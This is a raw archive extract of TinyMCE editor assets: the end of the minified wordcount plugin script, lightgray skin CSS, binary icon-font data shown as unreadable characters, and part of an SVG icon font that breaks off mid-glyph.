4f\u0e5a\u0e5b\u0f04-\u0f12\u0f3a-\u0f3d\u0f85\u0fd0-\u0fd4\u0fd9\u0fda\u104a-\u104f\u10fb\u1361-\u1368\u1400\u166d\u166e\u169b\u169c\u16eb-\u16ed\u1735\u1736\u17d4-\u17d6\u17d8-\u17da\u1800-\u180a\u1944\u1945\u1a1e\u1a1f\u1aa0-\u1aa6\u1aa8-\u1aad\u1b5a-\u1b60\u1bfc-\u1bff\u1c3b-\u1c3f\u1c7e\u1c7f\u1cd3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205e\u207d\u207e\u208d\u208e\u3008\u3009\u2768-\u2775\u27c5\u27c6\u27e6-\u27ef\u2983-\u2998\u29d8-\u29db\u29fc\u29fd\u2cf9-\u2cfc\u2cfe\u2cff\u2d70\u2e00-\u2e2e\u2e30\u2e31\u3001-\u3003\u3008-\u3011\u3014-\u301f\u3030\u303d\u30a0\u30fb\ua4fe\ua4ff\ua60d-\ua60f\ua673\ua67e\ua6f2-\ua6f7\ua874-\ua877\ua8ce\ua8cf\ua8f8-\ua8fa\ua92e\ua92f\ua95f\ua9c1-\ua9cd\ua9de\ua9df\uaa5c-\uaa5f\uaade\uaadf\uabeb\ufd3e\ufd3f\ufe10-\ufe19\ufe30-\ufe52\ufe54-\ufe61\ufe63\ufe68\ufe6a\ufe6b\uff01-\uff03\uff05-\uff0a\uff0c-\uff0f\uff1a\uff1b\uff1f\uff20\uff3b-\uff3d\uff3f\uff5b\uff5d\uff5f-\uff65]"},t={ALETTER:0,MIDNUMLET:1,MIDLETTER:2,MIDNUM:3,NUMERIC:4,CR:5,LF:6,NEWLINE:7,EXTEND:8,FORMAT:9,KATAKANA:10,EXTENDNUMLET:11,AT:12,OTHER:13},n=[new
RegExp(e.aletter),new RegExp(e.midnumlet),new RegExp(e.midletter),new
RegExp(e.midnum),new RegExp(e.numeric),new RegExp(e.cr),new
RegExp(e.lf),new RegExp(e.newline),new RegExp(e.extend),new
RegExp(e.format),new RegExp(e.katakana),new RegExp(e.extendnumlet),new
RegExp("@")],r="",i=new
RegExp("^"+e.punctuation+"$"),o=/\s/;return{characterIndices:t,SETS:n,EMPTY_STRING:r,PUNCTUATION:i,WHITESPACE:o}}),a("7",[],function(){var
e=function(e,t,n){var r,i;if(!e)return 0;if(n=n||e,void
0!==e.length){for(r=0,i=e.length;r<i;r++)if(t.call(n,e[r],r,e)===!1)return
0}else for(r in
e)if(e.hasOwnProperty(r)&&t.call(n,e[r],r,e)===!1)return 0;return
1},t=function(t,n){var r=[];return
e(t,function(e,i){r.push(n(e,i,t))}),r};return{each:e,map:t}}),a("5",["4","7"],function(e,t){var
n=e.SETS,r=e.characterIndices.OTHER,i=function(e){var
t,i,o=r,a=n.length;for(t=0;t<a;++t)if(i=n[t],i&&i.test(e)){o=t;break}return
o},o=function(e){var t={};return function(n){if(t[n])return t[n];var
r=e(n);return t[n]=r,r}},a=function(e){var n=o(i);return
t.map(e.split(""),n)};return{classify:a}}),a("6",["4"],function(e){var
t=e.characterIndices,n=function(e,n){var
r,i,o=e[n],a=e[n+1];return!(n<0||n>e.length-1&&0!==n)&&((o!==t.ALETTER||a!==t.ALETTER)&&(i=e[n+2],(o!==t.ALETTER||a!==t.MIDLETTER&&a!==t.MIDNUMLET&&a!==t.AT||i!==t.ALETTER)&&(r=e[n-1],(o!==t.MIDLETTER&&o!==t.MIDNUMLET&&a!==t.AT||a!==t.ALETTER||r!==t.ALETTER)&&((o!==t.NUMERIC&&o!==t.ALETTER||a!==t.NUMERIC&&a!==t.ALETTER)&&((o!==t.MIDNUM&&o!==t.MIDNUMLET||a!==t.NUMERIC||r!==t.NUMERIC)&&((o!==t.NUMERIC||a!==t.MIDNUM&&a!==t.MIDNUMLET||i!==t.NUMERIC)&&(o!==t.EXTEND&&o!==t.FORMAT&&r!==t.EXTEND&&r!==t.FORMAT&&a!==t.EXTEND&&a!==t.FORMAT&&((o!==t.CR||a!==t.LF)&&(o===t.NEWLINE||o===t.CR||o===t.LF||(a===t.NEWLINE||a===t.CR||a===t.LF||(o!==t.KATAKANA||a!==t.KATAKANA)&&((a!==t.EXTENDNUMLET||o!==t.ALETTER&&o!==t.NUMERIC&&o!==t.KATAKANA&&o!==t.EXTENDNUMLET)&&((o!==t.EXTENDNUMLET||a!==t.ALETTER&&a!==t.NUMERIC&&a!==t.KATAKANA)&&o!==t.AT))))))))))))};return{isWordBoundary:n}}),a("3",["4","5","6"],function(e,t,n){var
r=e.EMPTY_STRING,i=e.WHITESPACE,o=e.PUNCTUATION,a=function(e){return"http"===e||"https"===e},s=function(e,t){var
n;for(n=t;n<e.length;++n){var r=e.charAt(n);if(i.test(r))break}return
n},l=function(e,t,n){var
r=s(t,n+1),i=t.substring(n+1,r);return"://"===i.substr(0,3)?{word:e+i,index:r}:{word:e,index:n}},c=function(e,s){var
c,u,d,f=0,p=t.classify(e),m=p.length,g=[],h=[];for(s||(s={}),s.ignoreCase&&(e=e.toLowerCase()),u=s.includePunctuation,d=s.includeWhitespace;f<m;++f)if(c=e.charAt(f),g.push(c),n.isWordBoundary(p,f)){if(g=g.join(r),g&&(d||!i.test(g))&&(u||!o.test(g)))if(a(g)){var
v=l(g,e,f);h.push(v.word),f=v.index}else h.push(g);g=[]}return
h};return{getWords:c}}),a("0",["1","2","3"],function(e,t,n){return
e.add("wordcount",function(e){var r=function(e){return
e.removed?"":e.getBody().innerText},i=function(){return
n.getWords(r(e)).length},o=function(){e.theme.panel.find("#wordcount").text(["Words:
{0}",i()])};return e.on("init",function(){var
n=e.theme.panel&&e.theme.panel.find("#statusbar")[0],r=t.debounce(o,300);n&&t.setEditorTimeout(e,function(){n.insert({type:"label",name:"wordcount",text:["Words:
{0}",i()],classes:"wordcount",disabled:e.settings.readonly},0),e.on("setcontent
beforeaddundo undo redo
keyup",r)},0)}),{getCount:i}}),function(){}}),r("0")()}();PKV��[�!l��
�
.tinymce/skins/lightgray/content.inline.min.cssnu�[���.mce-content-body
.mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:black;font-family:Arial;font-size:11px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;line-height:normal;font-weight:normal;text-align:left;-webkit-tap-highlight-color:transparent;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-object{border:1px
dotted #3A3A3A;background:#D5D5D5 url(img/object.gif) no-repeat
center}.mce-preview-object{display:inline-block;position:relative;margin:0
2px 0 2px;line-height:0;border:1px solid
gray}.mce-preview-object[data-mce-selected="2"]
.mce-shim{display:none}.mce-preview-object
.mce-shim{position:absolute;top:0;left:0;width:100%;height:100%;background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)}figure.align-left{float:left}figure.align-right{float:right}figure.image.align-center{display:table;margin-left:auto;margin-right:auto}figure.image{display:inline-block;border:1px
solid gray;margin:0 2px 0 1px;background:#f5f2f0}figure.image
img{margin:8px 8px 0 8px}figure.image figcaption{margin:6px 8px 6px
8px;text-align:center}.mce-toc{border:1px solid gray}.mce-toc
h2{margin:4px}.mce-toc
li{list-style-type:none}.mce-pagebreak{cursor:default;display:block;border:0;width:100%;height:5px;border:1px
dashed #666;margin-top:15px;page-break-before:always}@media
print{.mce-pagebreak{border:0}}.mce-item-anchor{cursor:default;display:inline-block;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;user-select:all;user-modify:read-only;width:9px
!important;height:9px !important;border:1px dotted
#3A3A3A;background:#D5D5D5 url(img/anchor.gif) no-repeat
center}.mce-nbsp,.mce-shy{background:#AAA}.mce-shy::after{content:'-'}hr{cursor:default}.mce-match-marker{background:#AAA;color:#fff}.mce-match-marker-selected{background:#3399ff;color:#fff}.mce-spellchecker-word{border-bottom:2px
solid #F00;cursor:default}.mce-spellchecker-grammar{border-bottom:2px solid
#008000;cursor:default}.mce-item-table,.mce-item-table td,.mce-item-table
th,.mce-item-table caption{border:1px dashed
#BBB}td[data-mce-selected],th[data-mce-selected]{background-color:#3399ff
!important}.mce-edit-focus{outline:1px dotted #333}.mce-content-body
*[contentEditable=false] *[contentEditable=true]:focus{outline:2px solid
#2d8ac7}.mce-content-body *[contentEditable=false]
*[contentEditable=true]:hover{outline:2px solid #7ACAFF}.mce-content-body
*[contentEditable=false][data-mce-selected]{outline:2px solid
#2d8ac7}.mce-resize-bar-dragging{background-color:blue;opacity:.25;filter:alpha(opacity=25);zoom:1}PKV��[W�U��'tinymce/skins/lightgray/content.min.cssnu�[���html{height:100%;cursor:text}body{background-color:#FFFFFF;color:#000000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:14px;scrollbar-3dlight-color:#F0F0EE;scrollbar-arrow-color:#676662;scrollbar-base-color:#F0F0EE;scrollbar-darkshadow-color:#DDDDDD;scrollbar-face-color:#E0E0DD;scrollbar-highlight-color:#F0F0EE;scrollbar-shadow-color:#F0F0EE;scrollbar-track-color:#F5F5F5}td,th{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:14px}.mce-content-body
.mce-reset{margin:0;padding:0;border:0;outline:0;vertical-align:top;background:transparent;text-decoration:none;color:black;font-family:Arial;font-size:11px;text-shadow:none;float:none;position:static;width:auto;height:auto;white-space:nowrap;cursor:inherit;line-height:normal;font-weight:normal;text-align:left;-webkit-tap-highlight-color:transparent;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box;direction:ltr;max-width:none}.mce-object{border:1px
dotted #3A3A3A;background:#D5D5D5 url(img/object.gif) no-repeat
center}.mce-preview-object{display:inline-block;position:relative;margin:0
2px 0 2px;line-height:0;border:1px solid
gray}.mce-preview-object[data-mce-selected="2"]
.mce-shim{display:none}.mce-preview-object
.mce-shim{position:absolute;top:0;left:0;width:100%;height:100%;background:url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)}figure.align-left{float:left}figure.align-right{float:right}figure.image.align-center{display:table;margin-left:auto;margin-right:auto}figure.image{display:inline-block;border:1px
solid gray;margin:0 2px 0 1px;background:#f5f2f0}figure.image
img{margin:8px 8px 0 8px}figure.image figcaption{margin:6px 8px 6px
8px;text-align:center}.mce-toc{border:1px solid gray}.mce-toc
h2{margin:4px}.mce-toc
li{list-style-type:none}.mce-pagebreak{cursor:default;display:block;border:0;width:100%;height:5px;border:1px
dashed #666;margin-top:15px;page-break-before:always}@media
print{.mce-pagebreak{border:0}}.mce-item-anchor{cursor:default;display:inline-block;-webkit-user-select:all;-webkit-user-modify:read-only;-moz-user-select:all;-moz-user-modify:read-only;user-select:all;user-modify:read-only;width:9px
!important;height:9px !important;border:1px dotted
#3A3A3A;background:#D5D5D5 url(img/anchor.gif) no-repeat
center}.mce-nbsp,.mce-shy{background:#AAA}.mce-shy::after{content:'-'}hr{cursor:default}.mce-match-marker{background:#AAA;color:#fff}.mce-match-marker-selected{background:#3399ff;color:#fff}.mce-spellchecker-word{border-bottom:2px
solid #F00;cursor:default}.mce-spellchecker-grammar{border-bottom:2px solid
#008000;cursor:default}.mce-item-table,.mce-item-table td,.mce-item-table
th,.mce-item-table caption{border:1px dashed
#BBB}td[data-mce-selected],th[data-mce-selected]{background-color:#3399ff
!important}.mce-edit-focus{outline:1px dotted #333}.mce-content-body
*[contentEditable=false] *[contentEditable=true]:focus{outline:2px solid
#2d8ac7}.mce-content-body *[contentEditable=false]
*[contentEditable=true]:hover{outline:2px solid #7ACAFF}.mce-content-body
*[contentEditable=false][data-mce-selected]{outline:2px solid
#2d8ac7}.mce-resize-bar-dragging{background-color:blue;opacity:.25;filter:alpha(opacity=25);zoom:1}PKV��[�4I{%%/tinymce/skins/lightgray/fonts/tinymce-small.eotnu�[���%X$�LP�C�tinymce-smallRegularVersion
1.0tinymce-small�0OS/2$�`cmapƭ��lgasp�glyf	G��headg�{
�6hhea�� �$hmtx�� ��loca�$�Z!�tmaxpI�"H
name�L܁"h�post$8
��������3	@����@�@
P �(�2�5�����
��*�4�������  
5��797979@��7%'!"3!2653#5!81!813#4&#!"#33!26=��!//!�!/��@@�����@&��&@@&@&�PP�/!�
!//!������&&���&&������.'.#!"3!2654&'#5!8181!!81S�A�`&&�&.
�
����͆&�&& A-
�
��������095'.'7'./#'737>77'>?%#'573�hq�+�+�qh��hq�+�+�qh���������p�+�qh��hq�+�+�qh��hq�+������@@�!!!!!!!!@������@��@�����@���@@�!!!!!!!!@������������@���@@�!!!!!!!!@������@@��@�����@���@@�!!!!!!!!@���������������@����)w`*@Mc.'70>&'	1&67>'776&'#"&'&67>327"&54632##"&'.'&67>32`"V)?�$0����0$�?)V"9
//�8#
??
#8�//
9�))	�%%%%3)	)"#
?�,H\0��@0\H,�?
#8�//
9"V)??)V"9
//�8Y$C
�%%%%�$
C@��',0754&+54&+"#";!7#81381#55!!537#!!�
�&�&�

������������ee����@�
@&&@
�
���@@�@@��ee����@��*9HW#35!3!35!3#";2653;2654&##"&546;2##"&546;2##"&546;2#x8@��@�@��@8**�*�*�**����@

@

<��@@@�@@�*�P**8��**�*�



�



��



�@�@%2!!!!!!32654&#"32654&#"32654&#"�@��@��@���%%%%%%%%%%%%@������%%%%��%%%%��%%%%���%!!!!!!5##3#33#3#3#5�@��@��@��@@�@@��������@�����n�@@�@2<�@@@@@2@@�!!!!!!!!@���@@��@������������@�����@@�!!!!!!!!@���@��@�����������@�����@��?2#".5'4>3">3!2#".5'4>3">3(F44F('F4<h�O7d&
(F44F('F4<h�O7d&

7J*+J7  7J+T�o@t,*	 7J*+J7 
7J+T�o@t,*	p��%>.	6�$"����P��?OlK��S�PP�y�x@��5	5&.>@P����"$lO?̰������S��Kx��y@��0m'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&'&4762#��))�!!D���D))�!!��D���D))��))��@
��څ�!]!D
��
�D�!]!��D���D�))��))m
@
��@��0m�����'.#"7'&4?>32#"&/326?64'#"&/.546?>327'.#"326?>54&/"&/&4762#"&=4632##"&546;2#2"/&47>372#"&=46332+"&5463��))�!!D���D))�!!��D���D))��))���
��



@�

�

�@�
��



���

�

څ�!]!D
��
�D�!]!��D���D�))��))��
� z
�

�
@



�� �
z
�

�
��



�	!'!�����������+����k@@�@$1!"3!2654&#818181!8132654&#"��&&&&����8((88((8@&��&&�&�@@�
�
����(88((88(	@@�@$).36!"3!2654&##53#53#53!!3#53#53#53!%��&&&&��������������������
@&��&&�&�@�������������������@��:3#52#575!5!'"32>7>54.'.#���%�\�����-VQI
 0""0  IQV--VQI  0""0 
IQV-���%��@�@��"0  IQV--VQI  0""0 
IQV--VQI 
0"`���'7'	���@�@@��@��@��@��@N�f
)>S>7'%7.'"&/54632#"32>54.#".54>32#NQ&rE+NE;TEr&Q;EN+B�

n		`P�i<<i�PP�i<<i�P<iN--Ni<<iN--Ni<�3=[[+6B&�[[=3&B6+��I�

�7		<i�PP�i<<i�PP�i<�`-Ni<<iN--Ni<<iN-@��3@e>7>325.'.#"%"32>7.##"&54632#"&'.'>7>732654&'@"M*D�MM�D*M"4'TVY--YVT'4�E�sb&&bs�EE�sb&&bs�E%%%%�3l99l3'FF'

pPPp

'FF'�&?())(?&v%##%v�$C_::_C$$C_::_C$�%%%%�=%%='PppP'=%%=��.+"8137337>101#�;@<�q:�:q��''��>
@� ��䤈�
@@�	"',1!!5!!!5!!5!!#533#5!3#5=3#3#553#@���@����������@��������@���@��@��@������������@��������@��!!@����@@��
7!!5###5!''7'77@��ݷ���@���>��>��>��>���@����@��>��>��>��>����%3#575#53#'#	373�����܈���������22@�<2@�R���������3#575#53#'#	373�����܈����������2@�<2@�n������@��4%5>54.#"#'!5.54>32!5#�9^D%Fz�]]�zF%D^9�@@&?-/Qm>>mQ/-?&@@��%GZj9P�i<<i�P9jZG%`��;KX0BuW22WuB0XK;��`@��.;HY2#"&'.5467>35"32>54.#132654&#"!32654&#""&'32>7#K�558855�KK�558855�K]�zFFz�]]�zFFz�]�%%%%%%%%@L�,	-CS//SC-	,�L4855�KK�558855�KK�558LFz�]]�zFFz�]]�zF��%%%%%%%%��3+,K88K,+3@@�@+!!5!";!532654&#!!#"&54632���&&��&&�����@���&�&��&&���@��
'7!7!7!!'!'!'7�������������`�����`��@��������`�����`��������@��"'9>C5#"'35#334&+"35353#54&#26=4&+32653#53#5��&�юR������@@&�&@����&��&�����@@&��	���F���@@���&&�������`&&`&�@&@�����@@��#53533##5!3!53�������������������@��@��@��#).39=A3#3#3#7#3!3#3#3#35353##!!!!35353#'3#����@���@��@��@�����@@��@@�����@��@@@�����@@��@@@�@@�@�@��@��@������@��@�@@@@��!%!3!3!#!#3#73#73#73#73#0��
 ��� �
���������������������@��@����@@@@@@@@@���&,2#5267>54&'.#"33>3!3@]�zFFz�]G�225522�GG�2&2	���Nv�U����Fz�]]�zF`522�GG�22552&_4�Q�g;���@�@@
->54.+!2>54&''46;2+5#"&=32#q$+#=R.�
.R=#P?�C -- s�s� --
�S/+L8!�!8L+Bi�8((8��0�8((8�@@@#3!53#5!@����@���@@��@@�@�@@!7!!5#"&'.5#32>5#�@���=""=�-Ni<<iN-��@@���--���5]F((F]5�@@�@>!.#"&546323.'.#"!!#"&'#3267>54&'35���%^3CbbC8Yq+#&a55a&)--)��+9bC8Yq+#&a55a&)-��A-,A/#&ET-.T@
6",A/#&ET-3@�@@@"333335!�.R=##=R.�@���@@#=R..R=#�������@@�@"333335!7'�.R=##=R.�@���@����@#=R..R=#����������`@�@"333335!@.R=##=R.�@���@���@#=R..R=#�����������@�
"#5'!!!'#5#5%!3!!5333@�����@�ee��ee����@@�@����@��@���[eeee���@�������@�#'+/37;3#3#3#3#'3#3#'3#3#3#3#3#'3#'3#'3#'3#@@�@@@@@@�@@@@�@@�@@@@@@@@�@@�@@�@@�@@�@@@@@@@�@@@@@@@@@@@@@@@@@@@@@@��6C!'!!3!!.54>32'>54&#"3267?6&'%"&54632#��`
��@�xX
��@d'B0+Jc88cJ+#�
pPPppP2o3��3II33II3@@�����3BQ,8cJ++Jc8
�o2PppPPp
�3VI33II33I@��&+0@54&+54&+"#";!#81381#55!!!!373#35#5335�
�&�&�

�@�����������@���
 @0�0@ 
@�
@&&@
�
�@@@�@@����@��@�@@�@���
`%KXk546;5#"+32;5#"&=4&'>5!54&+532;#"+5326=467.5'#"&54632"0>54&#�.
Kk.  .kK .p. Kk.  .kK .�=++==++=h+=.<5#ANA=+Bh
.hkKh .h. hKkh. h&CC&h .hkKh .h. hKkh.
h&CC&+==++==+�=+*;>%ZX+=�C�_<��0=��0=���������9@�@@@@�@@��@@@p@@@@@@`N@�@@@@@@@@@@@����@�@`@@@��
l�0Rt�0~�@x��"Bb
B`��Nn�z��		6	`	�	�
P
�
�,P��B���
0
R
|
�
�:���9��
�
H
�'
o
�	
	�	U	�	2	|	
4�tinymce-smalltinymce-smallVersion 1.0Version
1.0tinymce-smalltinymce-smalltinymce-smalltinymce-smallRegularRegulartinymce-smalltinymce-smallFont
generated by IcoMoon.Font generated by
IcoMoon.PKV��[J���`�`/tinymce/skins/lightgray/fonts/tinymce-small.svgnu�[���<?xml
version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="tinymce-small" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960"
descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512"
d="" />
<glyph unicode="&#xe000;" glyph-name="save"
d="M960 80v591.938l-223.938 224.062h-592.062c-44.182
0-80-35.816-80-80v-736c0-44.184 35.818-80 80-80h736c44.184 0 80 35.816 80
80zM576 768h64v-192h-64v192zM704 128h-384v255.882c0.034 0.042 0.076 0.082
0.116 0.118h383.77c0.040-0.036 0.082-0.076 0.116-0.118l-0.002-255.882zM832
128h-64v256c0 35.2-28.8 64-64 64h-384c-35.2
0-64-28.8-64-64v-256h-64v640h64v-192c0-35.2 28.8-64 64-64h320c35.2 0 64
28.8 64 64v171.010l128-128.072v-490.938z" />
<glyph unicode="&#xe001;"
glyph-name="newdocument" d="M850.746 717.254l-133.492
133.49c-24.888 24.892-74.054 45.256-109.254 45.256h-416c-35.2
0-64-28.8-64-64v-768c0-35.2 28.8-64 64-64h640c35.2 0 64 28.8 64 64v544c0
35.2-20.366 84.364-45.254 109.254zM805.49 672.002c6.792-6.796 13.792-19.162
18.894-32.002h-184.384v184.386c12.84-5.1 25.204-12.1
32-18.896l133.49-133.488zM831.884 64h-639.77c-0.040 0.034-0.082 0.076-0.114
0.116v767.77c0.034 0.040 0.076 0.082 0.114
0.114h383.886v-256h256v-511.884c-0.034-0.040-0.076-0.082-0.116-0.116z"
/>
<glyph unicode="&#xe002;" glyph-name="fullpage"
d="M1024 367.542v160.916l-159.144 15.914c-8.186 30.042-20.088
58.548-35.21 84.98l104.596 127.838-113.052 113.050-127.836-104.596c-26.434
15.124-54.942 27.026-84.982 35.208l-15.914
159.148h-160.916l-15.914-159.146c-30.042-8.186-58.548-20.086-84.98-35.208l-127.838
104.594-113.050-113.050
104.596-127.836c-15.124-26.432-27.026-54.94-35.21-84.98l-159.146-15.916v-160.916l159.146-15.914c8.186-30.042
20.086-58.548 35.21-84.982l-104.596-127.836 113.048-113.048 127.838
104.596c26.432-15.124 54.94-27.028
84.98-35.21l15.916-159.148h160.916l15.914 159.144c30.042 8.186 58.548
20.088 84.982 35.21l127.836-104.596 113.048 113.048-104.596 127.836c15.124
26.434 27.028 54.942 35.21 84.98l159.148 15.92zM704 384l-128-128h-128l-128
128v128l128 128h128l128-128v-128z" />
<glyph unicode="&#xe003;" glyph-name="alignleft"
d="M64 768h896v-128h-896zM64 384h896v-128h-896zM64
576h576v-128h-576zM64 192h576v-128h-576z" />
<glyph unicode="&#xe004;"
glyph-name="aligncenter" d="M64 768h896v-128h-896zM64
384h896v-128h-896zM256 576h512v-128h-512zM256 192h512v-128h-512z"
/>
<glyph unicode="&#xe005;"
glyph-name="alignright" d="M64 768h896v-128h-896zM64
384h896v-128h-896zM384 576h576v-128h-576zM384 192h576v-128h-576z"
/>
<glyph unicode="&#xe006;"
glyph-name="alignjustify" d="M64 768h896v-128h-896zM64
384h896v-128h-896zM64 576h896v-128h-896zM64 192h896v-128h-896z" />
<glyph unicode="&#xe007;" glyph-name="cut"
d="M864.408 289.868c-46.47 46.47-106.938 68.004-161.082 62.806l-63.326
63.326 192 192c0 0 128 128 0 256l-320-320-320 320c-128-128 0-256
0-256l192-192-63.326-63.326c-54.144
5.198-114.61-16.338-161.080-62.806-74.98-74.98-85.112-186.418-22.626-248.9
62.482-62.482 173.92-52.354 248.9 22.626 46.47 46.468 68.002 106.938 62.806
161.080l63.326 63.326 63.328-63.328c-5.196-54.144 16.336-114.61
62.806-161.078 74.978-74.98 186.418-85.112 248.898-22.626 62.488 62.482
52.356 173.918-22.624 248.9zM353.124
201.422c-2.212-24.332-15.020-49.826-35.14-69.946-22.212-22.214-51.080-35.476-77.218-35.476-10.524
0-25.298 2.228-35.916 12.848-21.406 21.404-17.376 73.132 22.626 113.136
22.212 22.214 51.080 35.476 77.218 35.476 10.524 0 25.298-2.228
35.916-12.848 13.112-13.11 13.47-32.688 12.514-43.19zM512 352c-35.346 0-64
28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zM819.152
108.848c-10.62-10.62-25.392-12.848-35.916-12.848-26.138 0-55.006
13.262-77.218 35.476-20.122 20.12-32.928 45.614-35.138 69.946-0.958
10.502-0.6 30.080 12.514 43.192 10.618 10.622 25.39 12.848 35.916 12.848
26.136 0 55.006-13.262 77.216-35.474 40.004-40.008 44.032-91.736
22.626-113.14z" />
<glyph unicode="&#xe008;" glyph-name="paste"
d="M704 576v160c0 17.6-14.4 32-32 32h-160v64c0 35.2-28.8 64-64
64h-128c-35.204 0-64-28.8-64-64v-64h-160c-17.602
0-32-14.4-32-32v-512c0-17.6 14.398-32 32-32h224v-192h384l192
192v384h-192zM320 831.886c0.034 0.038 0.072 0.078 0.114
0.114h127.768c0.042-0.036 0.082-0.076 0.118-0.114v-63.886h-128v63.886zM192
640v64h384v-64h-384zM704 90.51v101.49h101.49l-101.49-101.49zM832
256h-192v-192h-256v448h448v-256z" />
<glyph unicode="&#xe009;"
glyph-name="searchreplace" d="M888
576h-56v256h64v64h-320v-64h64v-256h-256v256h64v64h-320v-64h64v-256h-56c-39.6
0-72-32.4-72-72v-432c0-39.6 32.4-72 72-72h240c39.6 0 72 32.4 72
72v312h128v-312c0-39.6 32.4-72 72-72h240c39.6 0 72 32.4 72 72v432c0
39.6-32.4 72-72 72zM348 64h-184c-19.8 0-36 14.4-36 32s16.2 32 36
32h184c19.8 0 36-14.4 36-32s-16.2-32-36-32zM544 448h-64c-17.6 0-32 14.4-32
32s14.4 32 32 32h64c17.6 0 32-14.4 32-32s-14.4-32-32-32zM860 64h-184c-19.8
0-36 14.4-36 32s16.2 32 36 32h184c19.8 0 36-14.4
36-32s-16.2-32-36-32z" />
<glyph unicode="&#xe00a;" glyph-name="bullist"
d="M384 832h576v-128h-576zM384 512h576v-128h-576zM384
192h576v-128h-576zM128 768c0-35.346 28.654-64 64-64s64 28.654 64 64c0
35.346-28.654 64-64 64s-64-28.654-64-64zM128 448c0-35.346 28.654-64
64-64s64 28.654 64 64c0 35.346-28.654 64-64 64s-64-28.654-64-64zM128
128c0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64
64s-64-28.654-64-64z" />
<glyph unicode="&#xe00b;" glyph-name="numlist"
d="M384 832h576v-128h-576zM384 512h576v-128h-576zM384
192h576v-128h-576zM320
430v146h-64v320h-128v-64h64v-256h-64v-64h128v-50l-128-60v-146h128v-64h-128v-64h128v-64h-128v-64h192v320h-128v50z"
/>
<glyph unicode="&#xe00c;" glyph-name="indent"
d="M64 768h896v-128h-896zM384 384h576v-128h-576zM384
576h576v-128h-576zM64 192h896v-128h-896zM64 576l224-160-224-160z"
/>
<glyph unicode="&#xe00d;" glyph-name="outdent"
d="M64 768h896v-128h-896zM64 384h576v-128h-576zM64
576h576v-128h-576zM64 192h896v-128h-896zM960 576l-224-160 224-160z"
/>
<glyph unicode="&#xe00e;"
glyph-name="blockquote" d="M256.428 535.274c105.8 0
191.572-91.17 191.572-203.638
0-112.464-85.772-203.636-191.572-203.636-105.802 0-191.572 91.17-191.572
203.636l-0.856 29.092c0 224.93 171.54 407.272 383.144
407.272v-116.364c-73.1
0-141.826-30.26-193.516-85.204-9.954-10.578-19.034-21.834-27.224-33.656
9.784 1.64 19.806 2.498 30.024 2.498zM768.428 535.274c105.8 0 191.572-91.17
191.572-203.638 0-112.464-85.772-203.636-191.572-203.636-105.802 0-191.572
91.17-191.572 203.636l-0.856 29.092c0 224.93 171.54 407.272 383.144
407.272v-116.364c-73.1
0-141.826-30.26-193.516-85.204-9.956-10.578-19.036-21.834-27.224-33.656
9.784 1.64 19.806 2.498 30.024 2.498z" />
<glyph unicode="&#xe00f;" glyph-name="undo"
d="M704 0c59 199 134.906 455.266-256 446.096v-222.096l-336.002 336
336.002 336v-217.326c468.092 12.2 544-358.674 256-678.674z" />
<glyph unicode="&#xe010;" glyph-name="redo"
d="M576 678.674v217.326l336.002-336-336.002-336v222.096c-390.906
9.17-315-247.096-256-446.096-288 320-212.092 690.874 256 678.674z"
/>
<glyph unicode="&#xe011;" glyph-name="unlink"
d="M927.274 729.784l-133.49 133.488c-21.104 21.104-49.232
32.728-79.198
32.728s-58.094-11.624-79.196-32.726l-165.492-165.49c-43.668-43.668-43.668-114.724
0-158.392l2.746-2.746 67.882 67.882-2.746 2.746c-6.132 6.132-6.132 16.494 0
22.626l165.492 165.492c4.010 4.008 8.808 4.608 11.312 4.608s7.302-0.598
11.312-4.61l133.49-133.488c6.132-6.134 6.132-16.498
0.002-22.628l-165.494-165.494c-4.008-4.008-8.806-4.608-11.31-4.608s-7.302
0.6-11.312 4.612l-2.746 2.746-67.88-67.884 2.742-2.742c21.106-21.108
49.23-32.728 79.2-32.728s58.094 11.624 79.196 32.726l165.494 165.492c43.662
43.666 43.662 114.72-0.004 158.39zM551.356 359.356l-67.882-67.882
2.746-2.746c4.008-4.008 4.61-8.806 4.61-11.31
0-2.506-0.598-7.302-4.606-11.314l-165.494-165.49c-4.010-4.010-8.81-4.61-11.314-4.61s-7.304
0.6-11.314 4.61l-133.492 133.486c-4.010 4.010-4.61 8.81-4.61 11.314s0.598
7.3 4.61 11.312l165.49 165.488c4.010 4.012 8.81 4.612 11.314
4.612s7.304-0.6 11.314-4.612l2.746-2.742 67.882 67.88-2.746 2.746c-21.104
21.104-49.23 32.726-79.196
32.726s-58.092-11.624-79.196-32.726l-165.488-165.486c-21.106-21.104-32.73-49.234-32.73-79.198s11.624-58.094
32.726-79.198l133.49-133.49c21.106-21.102 49.232-32.726
79.198-32.726s58.092 11.624 79.196 32.726l165.494 165.492c21.104 21.104
32.722 49.23 32.722 79.196s-11.624 58.094-32.726 79.196l-2.744 2.746zM352
250c-9.724 0-19.45 3.71-26.87 11.128-14.84 14.84-14.84 38.898 0 53.738l320
320c14.84 14.84 38.896 14.84 53.736 0 14.844-14.84 14.844-38.9
0-53.74l-320-320c-7.416-7.416-17.142-11.126-26.866-11.126z" />
<glyph unicode="&#xe012;" glyph-name="link"
d="M927.274 729.784l-133.49 133.488c-21.104 21.104-49.232
32.728-79.198
